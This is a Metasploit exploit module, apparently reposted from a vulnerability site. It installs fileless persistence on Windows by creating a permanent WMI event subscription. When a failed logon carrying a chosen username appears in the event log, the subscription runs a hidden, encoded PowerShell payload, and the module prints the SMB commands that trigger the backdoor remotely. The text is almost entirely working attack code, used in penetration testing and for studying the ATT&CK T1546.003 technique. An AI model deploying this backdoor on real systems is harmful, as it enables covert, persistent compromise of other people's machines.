WMI Event Subscription Event Log Persistence
##
# This module requires Metasploit: WMI Event Subscription Event Log Persistence
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell
include Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/wmi_persistence' # previously the "EVENT" wmi_persistence method
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WMI Event Subscription Event Log Persistence',
'Description' => %q{
This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter
that will query the event log for an EVENT_ID_TRIGGER
(default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
/failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
Additionally a custom command can be specified to run once the trigger is
activated using the advanced option CustomPsCommand. This module requires administrator level privileges as well as a
high integrity process. It is also recommended to use staged payloads due to powershell script length limitations.
},
'Author' => [
'Nick Tyrer <@NickTyrer>', # original module
'h00die' # docs, persistence mixin, pshell cleanup
],
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'DisclosureDate' => '2017-06-06',
'DefaultTarget' => 0,
'References' => [
['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1546_003_WINDOWS_MANAGEMENT_INSTRUMENTATION_EVENT_SUBSCRIPTION]
],
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options([
OptInt.new('EVENT_ID_TRIGGER',
[true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
OptString.new('USERNAME_TRIGGER',
[true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]),
OptString.new('CLASSNAME',
[true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
])
register_advanced_options(
[
OptString.new('CustomPsCommand',
[false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be enclosed in quotes)', false, ]),
]
)
deregister_options('WritableDir')
end
def check
return CheckCode::Safe('This module requires powershell to run') unless have_powershell?
return CheckCode::Safe('This module requires admin privs to run') unless is_admin?
return CheckCode::Safe('This module cannot run as System') if is_system?
return CheckCode::Safe('This module requires UAC to be bypassed first') unless is_high_integrity?
CheckCode::Appears('Likely exploitable')
end
def install_persistence
host = session.session_host
print_status('Installing Persistence...')
psh_exec(subscription_event)
print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U #{datastore['USERNAME_TRIGGER']} <arbitrary password>\""
print_good ' or'
print_good 'use auxiliary/scanner/smb/smb_login'
print_good " run SMBUser=#{datastore['USERNAME_TRIGGER']} SMBPass=<arbitrary password> RHOSTS=#{host}"
# wmic will be removed Windows 11, version 25H2 or Windows 11, version 24H2 in favor of powershell
# source https://support.microsoft.com/en-us/topic/windows-management-instrumentation-command-line-wmic-removal-from-windows-e9e83c7f-4992-477f-ba1d-96f694b8665d
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
name_class = datastore['CLASSNAME']
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __EventFilter | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
end
def build_payload
if datastore['CustomPsCommand']
script_in = datastore['CustomPsCommand']
compressed_script = compress_script(script_in)
encoded_script = encode_script(compressed_script)
generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
else
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
end
end
def subscription_event
command = build_payload
event_id = datastore['EVENT_ID_TRIGGER']
username = datastore['USERNAME_TRIGGER']
class_name = datastore['CLASSNAME']
<<-HEREDOC
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end
end
WMI Event Subscription Event Log Persistence
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 174